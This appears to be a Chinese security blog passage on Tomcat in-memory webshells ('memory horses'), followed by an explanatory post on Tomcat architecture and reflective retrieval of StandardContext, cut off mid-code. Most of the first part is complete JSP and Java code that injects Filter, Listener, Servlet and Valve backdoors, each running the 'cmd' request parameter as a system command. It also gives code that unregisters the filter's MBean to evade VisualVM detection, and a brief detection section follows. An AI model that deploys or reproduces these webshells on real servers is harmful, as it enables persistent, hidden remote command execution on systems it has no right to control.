调用FilterChain的doFilter()函数，在该函数中调用internalDoFilter()来遍历获取FilterChain里FilterConfig中Filter对象的doFilter方法。

静态添加Filter

package com.example.web.filter;
import javax.servlet.*;
import java.io.IOException;

public class customfilter implements Filter {
//和我们编写的Servlet程序一样，Filter的创建和销毁由WEB服务器负责。web 应用程序启动时，web 服务器将创建Filter 的实例对象，并调用其init方法，读取web.xml配置，完成对象的初始化功能，从而为后续的用户请求作好拦截的准备工作（filter对象只会创建一次，init方法也只会执行一次）。开发人员通过init方法的参数，可获得代表当前filter配置信息的FilterConfig对象。
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 初始化创建");
    }
//这个方法完成实际的过滤操作。当客户请求访问与过滤器关联的URL的时候，Servlet过滤器将先执行doFilter方法。FilterChain参数用于访问后续过滤器。
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行过滤操作");
        filterChain.doFilter(servletRequest,servletResponse);
    }
//Filter对象创建后会驻留在内存，当web应用移除或服务器停止时才销毁。在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中，可以释放过滤器使用的资源。
    public void destroy() {}
}

在web.xml中注册filter，web服务器根据Filter在web.xml文件中的注册顺序，决定先调用哪个Filter。这里设置url-pattern为/hello-servlet访问/hello-servleturl时就会触发。

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="<http://xmlns.jcp.org/xml/ns/javaee>"
         xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>"
         xsi:schemaLocation="<http://xmlns.jcp.org/xml/ns/javaee> <http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd>"
         version="4.0">

    <filter>
        <filter-name>myfilter</filter-name>
        <filter-class>com.example.web.filter.customfilter</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>myfilter</filter-name>
        <url-pattern>/hello-servlet</url-pattern>
    </filter-mapping>
</web-app>

动态添加Filter

查看StandardContext对象，可以看到filterConfigs、filterMaps、filterDefs均在其中。

filterDefs中存放了类似于Web.xml中filter-name和filter-class的对应关系。
filterConfigs中存放了filterDef和当时的Context。
filterMaps中存放了类似于Web.xml中filter-name和url-pattern的对应关系，里面代表了各个filter之间的调用顺序。

获取Context

参考之前写的文章，获取Tomcat 6-9版本的StandardContext。

注册内存马(JSP)

在编写代码时需要注意: 在tomcat不同版本需要通过不同的库引入FilterMap和FilterDef。

<!-- tomcat 7 -->
<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>

<!-- tomcat 8/9 -->
<%@ page import = "org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import = "org.apache.tomcat.util.descriptor.web.FilterDef"  %>

Filter创建流程:

1. 创建一个恶意Filter，利用FilterDef对Filter进行一个封装
2. 将FilterDef添加到FilterDefs和filterConfigs中  
3. 创建FilterMap ，将Filter和urlpattern相对应，存放到filterMaps中（由于Filter生效会有一个先后顺序，所以让自定义的Filter放在最前面）
4. 每次请求createFilterChain都会依据此动态生成一个过滤链，而StandardContext又会一直保留到Tomcat生命周期结束，所以内存马就可以一直驻留下去，直到Tomcat重启

Tomcat7 及以上实现

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "my_newfilter";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null) {
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null) {
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("cmd.exe", "/c", req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes, 0, len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }

            @Override
            public void destroy() {

            }

        };
        //添加filter到filterDef
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        //添加filterDef到filterDefs中
        standardContext.addFilterDef(filterDef);
        //创建FilterMap
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        //将该FilterMap添加到最前面
        standardContext.addFilterMapBefore(filterMap);
        //创建ApplicationFilterConfig类, 并将它添加到filterConfigs中
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
        filterConfigs.put(name, filterConfig);
        out.print("Success!");
    }
%>

Tomcat6 实现

package com.example.demo;

import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardEngine;
import org.apache.catalina.core.StandardHost;
import org.apache.catalina.deploy.FilterDef;
import org.apache.catalina.deploy.FilterMap;

public class goodServlet extends HttpServlet {
    public void init() {
    }

    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {

        try {
            PrintWriter out = response.getWriter();
            Tomcat6789 a = new Tomcat6789();
            StandardContext standardContext=a.getSTC();
            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);
            final String name="idoaiod";
            if(filterConfigs.get(name) == null) {
                Filter filter = new myfilter();
                FilterDef filterDef = new FilterDef();
                filterDef.setFilterName(name);
                filterDef.setFilterClass(filter.getClass().getName());
                //添加filterDef到filterDefs中
                standardContext.addFilterDef(filterDef);
                //创建FilterMap
                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern("/*");
                filterMap.setFilterName(name);
                standardContext.addFilterMap(filterMap);
                //创建ApplicationFilterConfig类, 并将它添加到filterConfigs中
                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
                filterConfigs.put(name, filterConfig);
                
                out.println("injected");
            }

        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    public void destroy() {
    }
    static public class myfilter implements Filter {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {

        }

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            HttpServletRequest req = (HttpServletRequest) servletRequest;
            if (req.getParameter("cmd") != null) {
                byte[] bytes = new byte[1024];
                Process process = new ProcessBuilder(req.getParameter("cmd")).start();
                int len = process.getInputStream().read(bytes);
                servletResponse.getWriter().write(new String(bytes, 0, len));
                process.destroy();
                return;
            }
            filterChain.doFilter(servletRequest, servletResponse);
        }

        @Override
        public void destroy() {

        }

    }
    class Tomcat6789 {
        String uri;
        String serverName;
        StandardContext standardContext;

        public Object getField(Object object, String fieldName) {
            Field declaredField;
            Class clazz = object.getClass();
            while (clazz != Object.class) {
                try {

                    declaredField = clazz.getDeclaredField(fieldName);
                    declaredField.setAccessible(true);
                    return declaredField.get(object);
                } catch (NoSuchFieldException e) {
                } catch (IllegalAccessException e) {
                }
                clazz = clazz.getSuperclass();
            }
            return null;
        }

        public Object GetAcceptorThread() {
            //获取当前所有线程
            Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
            //从线程组中找到Acceptor所在的线程 在tomcat6中的格式为:Http-端口-Acceptor
            for (Thread thread : threads) {
                if (thread == null || thread.getName().contains("exec")) {
                    continue;
                }
                if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                    Object target = this.getField(thread, "target");
                    if (!(target instanceof Runnable)) {
                        try {
                            Object target2 = this.getField(thread, "this$0");
                            target = thread;
                        } catch (Exception e) {
                            continue;
                        }
                    }
                    Object jioEndPoint = getField(target, "this$0");
                    if (jioEndPoint == null) {
                        try {
                            jioEndPoint = getField(target, "endpoint");
                        } catch (Exception e) {
                            continue;
                        }
                    }
                    return jioEndPoint;
                }
            }
            return null;
        }

        public Tomcat6789() {
            Object jioEndPoint = this.GetAcceptorThread();
            if (jioEndPoint == null) {
                return;
            }
            Object object = getField(getField(jioEndPoint, "handler"), "global");
            //从找到的Acceptor线程中获取请求域名、请求的路径
            java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();
                Object req = getField(next, "req");
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)) {
                    continue;
                }
                org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
                this.serverName = (String) getField(serverNameMB, "strValue");
                if (this.serverName == null) {
                    this.serverName = serverNameMB.toString();
                }
                org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
                this.uri = (String) getField(uriMB, "strValue");
                if (this.uri == null) {
                    this.uri = uriMB.toString();
                }
                //根据获取到的服务器名、路径信息获取StandardContext
                this.getStandardContext();
                return;
            }
        }

        public void getStandardContext() {
            Object jioEndPoint = this.GetAcceptorThread();
            if (jioEndPoint == null) {
                return;
            }
            Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
            StandardEngine engine = (StandardEngine) getField(service, "container");
            if (engine == null) {
                engine = (StandardEngine) getField(service, "engine");
            }

            HashMap children = (HashMap) getField(engine, "children");
            StandardHost standardHost = (StandardHost) children.get(this.serverName);
            if(standardHost==null){
                standardHost = (StandardHost) children.get("localhost");
            }
            children = (HashMap) getField(standardHost, "children");
            Iterator iterator = children.keySet().iterator();
            while (iterator.hasNext()) {
                String contextKey = (String) iterator.next();
                if (contextKey.isEmpty()||!(this.uri.startsWith(contextKey))) {
                    continue;
                }
                StandardContext standardContext = (StandardContext) children.get(contextKey);
                this.standardContext = standardContext;
                return;
            }
        }
        public StandardContext getSTC() {
            return this.standardContext;
        }
    }
}

注销Filter内存马

Tomcat注销filter其实就是将该Filter从全局filterDefs和filterMaps中清除掉。具体的操作分别如下removeFilterDef和removeFilterMap两个方法中，只需要反射调用它们即可注销Filter。

Listener

Tomcat对这三个功能组件的加载顺序是: listener -> filter -> servlet 。

监听器用于监听Web应用中某些对象的创建、销毁、增加，修改，删除等动作的发生，然后作出相应的响应处理。当监听范围的对象状态发生变化的时候，服务器自动调用监听器对象中的方法。常用于统计网站在线人数、系统加载时进行信息初始化、统计网站的访问量等等。

Listener主要分为三个大类:

ServletContext监听: 用于对Servlet整个上下文进行监听（创建、销毁）
Session监听: 对Session的整体状态的监听
Request监听: 用于对Request请求进行监听（创建、销毁）

前两种不适合作为内存Webshell，因为ServletContext涉及到服务器的启动跟停止或是Session的建立跟销毁时才会执行监听器中的代码。适合拿来作为内存马的是ServletRequestListener，它主要用于监听ServletRequest对象的创建和销毁。

在StandardHostValve的Invoke方法中调用:context.fireRequestInitEvent(request.getRequest()) 并在fireRequestInitEvent方法中遍历当前StandardContext的所有Listener并进行初始化。

代码实现

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>

<%
    ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    ServletRequestListener servletRequestListener = new ServletRequestListener() {
        @Override
        public void requestDestroyed(ServletRequestEvent servletRequestEvent) {

        }

        @Override
        public void requestInitialized(ServletRequestEvent servletRequestEvent) {
            String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
            if (cmd != null) {
                try {
                    Process ps = Runtime.getRuntime().exec(cmd);
                    BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
                    StringBuffer sb = new StringBuffer();
                    String line;
                    while ((line = br.readLine()) != null) {
                        sb.append(line).append("<br>");//执行结果加上回车
                    }
                    String result = sb.toString();
                    response.getWriter().write(result);
                } catch (IOException e) {
                }
            }
        }
    };
    standardContext.addApplicationEventListener(servletRequestListener);
    out.println("inject success");
%>

不能直接用ApplicationContext的addLisener添加Listener，因为该方法首先会判断web应用是不是已经初始化运行了，如果是的话则不能在中途添加Listener（addFilter方法也是这个道理）。所以需要通过反射去调用StandardContext对象的addApplicationEventListener方法来添加Listenner。

Servlet

Servlet是运行在Web服务器或应用服务器上的程序，它负责处理用户的请求，并根据请求生成相应的返回信息提供给用户。Servlet的生命周期开始于Web容器的启动，它会被加载到Web容器内存中，直到Web容器停止运行或者重新装入servlet时候结束（Servlet的service方法由ApplicationFilterChain的internalDoFilter方法调用）。

Tomcat的一个Wrapper代表一个Servlet ，而Servlet的Wrapper对象均在StandardContext的children属性中。所以这里创建以给Wrapper对象，把servlet写进去后直接用standardContext.addChild()添加到children。

代码实现

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    Servlet servlet = new Servlet() {
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"bash", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {

        }

        @Override
        public ServletConfig getServletConfig() {
            return null;
        }

        @Override
        public String getServletInfo() {
            return null;
        }

        @Override
        public void destroy() {

        }
    };
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Wrapper newWrapper = standardContext.createWrapper();
    String servletName="ff";
    newWrapper.setName(servletName);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());
    standardContext.addChild(newWrapper);
//将Wrapper对象和访问的url绑定
    standardContext.addServletMapping("/gugubird0", servletName);
%>

注销Servlet的原理也是类似，将该Servlet从全局servletMappings和children中清除掉即可。在Tomcat源码中对应的是removeServletMapping和removeChild方法。

Valve

通过获取standardContext容器的Pipeline链，插入自定义的Valve对象。（Valve的机制见前文介绍）

通过standardContext.getPipeline().getFirst().getNext()获取到添加的Valve。

代码实现

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    ValveBase StandardContextsValve  = new ValveBase() {
        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            HttpServletRequest req = (HttpServletRequest) request;
            HttpServletResponse resp = (HttpServletResponse) response;
            String cmd=req.getParameter("cmd");
            if ( cmd!= null&&!"".equals(cmd)) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                resp.getWriter().write(output);
                resp.getWriter().flush();
            }
            this.getNext().invoke(request, response);
        }
    };

    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 直接通过StandardContext获取当前容器的Pipeline，往里面添加Valve内存马即可
    standardContext.getPipeline().addValve(StandardContextsValve);
%>

内存马检测

利用VisualVM监控mbean

注册Filter的时候会触发registerJMX的操作来注册mbean。

但可以在代码中删除注册的mbean

import javax.management.MBeanServer;
import javax.management.ObjectName;
import java.util.Set;
public class UnRegister {
    static  {
        try{
        Class registryClass = Class.forName("org.apache.tomcat.util.modeler.Registry");
        MBeanServer mBeanServer = (MBeanServer) registryClass.getMethod("getMBeanServer").invoke( registryClass.getMethod("getRegistry", Object.class, Object.class).invoke(null,null,null));
        Set<ObjectName> objectNameSet = null;
            objectNameSet = mBeanServer.queryNames(null, null);
            for (ObjectName objectName : objectNameSet) {
                if ("Filter".equals(objectName.getKeyProperty("j2eeType"))) {
                    Object filterName = mBeanServer.getAttribute(objectName, "filterName");
                    if ("litchi".equals((String) filterName)) {
                        mBeanServer.unregisterMBean(objectName);
                    }
                }
            }
        }catch (Exception e) {
            e.printStackTrace();
        }
    }
}

利用Java Instrument（Java Agent）检测

对于敏感类（比如实现了javax.servlet.Filter接口的类）利用retransformClasses方法进行retransform，编写ClassFileTransformer实现类将这些敏感类加载的class dump出来，接着就可以使用反编译工具转换成源代码判断是否是Webshell

利用工具: alibaba/arthas
利用 Agent 的检测思路
1. 获取tomcat jvm中所有加载的类
2. 遍历每个类，把可能被攻击方新增/修改内存中的类，标记为风险类（比如实现了filter/servlet的类）
3. 遍历风险类，检查高风险类的class文件是否存在（c磁盘中没有对应的class文件只驻留在内存）。反编译风险类字节码，检查java文件中包含恶意代码
classLoader可疑：com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader

这是反序列化漏洞执行代码用的classLoader或其他自定义的classloader。

参考

Tomcat 架构与Context分析

myzx.xcg@gmail.com (myzxcg) — Fri, 29 Oct 2021 00:00:09 +0800

Tomcat 架构原理

Tomcat需要实现的2个核心功能：

处理socket连接，负责网络字节流与Request和Response对象的转化
加载并管理Servlet，以及处理具体的Request请求

为此Tomcat设计了两个核心组件：连接器（Connector）和容器（Container），连接器负责对外交流，容器负责内部处理；同时Tomcat为了实现支持多种IO模型和应用层协议，多个连接器对接一个容器。

Server 对应一个Tomcat实例；
Service 默认只有一个，一个Tomcat实例默认一个Service；
Connector 一个Service可能多个连接器，接收不同的连接协议；
Container 多个连接器对应一个容器，顶层容器其实就是Engine；

Connecter(连接器)

连接器对Servlet容器屏蔽了网络协议和IO模型的区别，无论是HTTP还是AJP协议，在容器中获取到的都是一个标准的ServletRequest对象。

其中Tomcat设计了三个组件，其负责功能如下：

EndPoint：负责网络通信，将字节流传递给Processor；
Processor：负责处理字节流生成Tomcat Request对象，将Tomcat Request对象传递给Adapter；
Adapter：负责将Tomcat Request对象转成ServletRequest对象，传递给容器；

Adapter组件

由于协议的不同，Tomcat定义了自己的Request类来存放请求信息，但是这个不是标准的ServletRequest。于是需要使用Adapter将Tomcat Request对象转成ServletRequest对象，然后就能调用容器的service方法。

简而言之，Endpoint接收到Socket连接后，生成一个SocketProcessor任务提交到线程池进行处理，SocketProcessor的run方法将调用Processor组件进行应用层协议的解析，Processor解析后生成Tomcat Request对象，然后会调用Adapter的Service方法，方法内部通过如下代码将Request请求传递到容器中。

connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);

Container(容器)

Connector连接器负责外部交流，Container容器负责内部处理。也就是说连接器处理Socket通信和应用层协议的解析，得到ServletRequest，而容器则负责处理ServletRequest 。

Tomcat设计了4种容器: Engine、Host、Context、Wrapper ，这四种容器是父子关系。

Engine: 最顶层容器组件，可以包含多个Host。实现类为org.apache.catalina.core.StandardEngine
Host: 代表一个虚拟主机，每个虚拟主机和某个域名Domain Name相匹配，可以包含多个Context。实现类为org.apache.catalina.core.StandardHost
Context: 一个Context对应于一个Web 应用，可以包含多个Wrapper。实现类为org.apache.catalina.core.StandardContext
Wrapper: 一个Wrapper对应一个Servlet。负责管理 Servlet ，包括Servlet的装载、初始化、执行以及资源回收。实现类为org.apache.catalina.core.StandardWrapper

每一个Context都有唯一的path。这里的path不是指servlet绑定的WebServlet地址，而是指独立的一个Web应用地址。就好比Tomat默认的/地址和/manager地址就是两个不同的web应用，所以对应两个不同的Context。要添加Context需要在server.xml中配置docbase。

如下图所示，在一个web应用中创建了2个servlet服务，WebServlet地址分别是/Demo1和/Demo2。因为它们属于同一个Web应用所以Context一样，但访问地址不一样所以Wrapper不一样。/manager访问的Web应用是Tomcat默认的管理页面，是另外一个独立的web应用，所以Context与前两个不一样。

从HTTP请求到Servlet

Tomcat使用Mapper组件来将用户请求的URL定位到某个Servlet。Mapper组件里保存了WEB应用的配置信息，也就是容器组件与访问路径的映射关系。比如Host容器里配置的域名、Context容器里的WEB应用路径以及Wrapper容器里Servlet映射的路径。

Mapper组件通过解析请求URL里的域名和路径，再到自己保存的Map里去找，就能定位到一个Servlet。最终一个请求URL只会定位到一个Wrapper容器，也就是一个Servlet 。

Pipeline-Valve

最先拿到请求的是Engine容器，Engine容器对请求做一些处理后，把请求传给子容器Host继续处理，以此类推，最终这个请求会传给Wrapper容器，Wrapper容器会调用Servlet来处理。整个调用过程是通过Pipeline-Valve管道进行的。

每层容器都有一个Pipeline对象，只要触发了这个Pipeline的第一个Valve，这个容器里的Pipeline中的Valve都会被调用到。Pipeline中的getBasic方法获取的Valve处于Valve链的末端，负责调用下层容器的Pipeline里的第一个Valve 。

Pipeline中的addValve方法维护Valve链表，Valve可以通过该方法插入到Pipeline中，来对请求做某些处理。Valve通过自己的invoke方法处理请求后，调用getNext().invoke()来触发下一个Valve调用。

Wrapper容器的最后一个Valve会创建一个Filter链，并调用doFileter方法。

Tomcat 类加载机制

由于Tomcat中有多个WebApp同时要确保之间相互隔离，所以Tomcat的类加载机制也不是传统的双亲委派机制

Tomcat自定义的类加载器WebAppClassloader为了确保隔离多个WebApp之间相互隔离，所以打破了双亲委托机制。每个WebApp用一个独有的ClassLoader实例来优先处理加载。它首先尝试自己加载某个类，如果找不到再交给父类加载器，其目的是优先加载WEB应用自己定义的类。

同时为了防止WEB应用自己的类覆盖JRE的核心类，在本地WEB应用目录下查找之前，先使用ExtClassLoader（使用双亲委托机制）去加载，这样既打破了双亲委托，同时也能安全加载类。

Tomcat Context

三种Context的联系与区别

Tomcat中有如下三种Context: ServletContext、StandardContext、ApplicationContext。下面这张图很好的展现了这三个Context的结构。

ServerletContext（是一个接口）

通过request.getServletContext() 获取到的是ApplicationContextFacade对象，它是对ServerletContext接口的实现类，该类提供了Web应用所有Servlet的视图，可以对某个Web应用的各种资源和功能进行访问。

WEB容器在启动时，它会为每个Web应用程序都创建一个对应的ServletContext。它代表当前Web应用，并且它被所有客户端共享。
ApplicationContext

ApplicationContext也是对ServerletContext接口的实现类，由上图可知该类被包装在ApplicationContextFacade类中。
StandardContext

org.apache.catalina.Context接口的默认实现为StandardContext，而Context在Tomcat中代表一个web应用。ApplicationContext所实现的方法其实都是调用的StandardContext中的方法，StandardContext是Tomcat中真正起作用的Context。

获取StandardContext

向各种中间件和框架注入内存马的基础，就是要获得context，context实际上就是拥有当前中间件或框架处理请求、保存和控制servlet对象、保存和控制filter对象等功能的对象。

在已有request对象的情况，可以直接获取。

ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
//ApplicationContext为ServletContext的实现类
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

适用于Tomcat 6、7、8、9的StandardContext获取方法

每个Tomcat版本下都会开一个Http-xio-端口-Acceptor的线程，Acceptor是用来接收请求的，这些请求会交给后面的Engine->Host->Context->servlet。

通过遍历当前所有线程，从Acceptor线程中获取到请求的requset对象，这里的requset是org.apache.coyote.Reuqest类，它没有servletContext属性，所以不能直接通过它获取Context。但是可以通过它获取到请求路径和请求域名。同样在该线程中可以获得StandardContext。下图把StandardContext路径展示的非常明白。可以根据前面获取的请求路径和请求域名，来找到对应的StandardContext。

实现代码

package com.example.demo;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardEngine;
import org.apache.catalina.core.StandardHost;

public class goodServlet extends HttpServlet {
    public void init() {
    }

    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {

        try {
            PrintWriter out = response.getWriter();
            Tomcat6789 a = new Tomcat6789();
            out.println(a.getSTC());

        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    public void destroy() {
    }

    class Tomcat6789 {
        String uri;
        String serverName;
        StandardContext standardContext;

        public Object getField(Object object, String fieldName) {
            Field declaredField;
            Class clazz = object.getClass();
            while (clazz != Object.class) {
                try {

                    declaredField = clazz.getDeclaredField(fieldName);
                    declaredField.setAccessible(true);
                    return declaredField.get(object);
                } catch (NoSuchFieldException e) {
                } catch (IllegalAccessException e) {
                }
                clazz = clazz.getSuperclass();
            }
            return null;
        }

        public Object GetAcceptorThread() {
            //获取当前所有线程
            Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
            //从线程组中找到Acceptor所在的线程 在tomcat6中的格式为:Http-端口-Acceptor
            for (Thread thread : threads) {
                if (thread == null || thread.getName().contains("exec")) {
                    continue;
                }
                if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                    Object target = this.getField(thread, "target");
                    if (!(target instanceof Runnable)) {
                        try {
                            Object target2 = this.getField(thread, "this$0");
                            target = thread;
                        } catch (Exception e) {
                            continue;
                        }
                    }
                    Object jioEndPoint = getField(target, "this$0");
                    if (jioEndPoint == null) {
                        try {
                            jioEndPoint = getField(target, "endpoint");
                        } catch (Exception e) {
                            continue;
                        }
                    }
                    return jioEndPoint;
                }
            }
            return null;
        }

        public Tomcat6789() {
            Object jioEndPoint = this.GetAcceptorThread();
            if (jioEndPoint == null) {
                return;
            }
            Object object = getField(getField(jioEndPoint, "handler"), "global");
            //从找到的Acceptor线程中获取请求域名、请求的路径
            java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();
                Object req = getField(next, "req");
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)) {
                    continue;
                }
                org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
                this.serverName = (String) getField(serverNameMB, "strValue");
                if (this.serverName == null) {
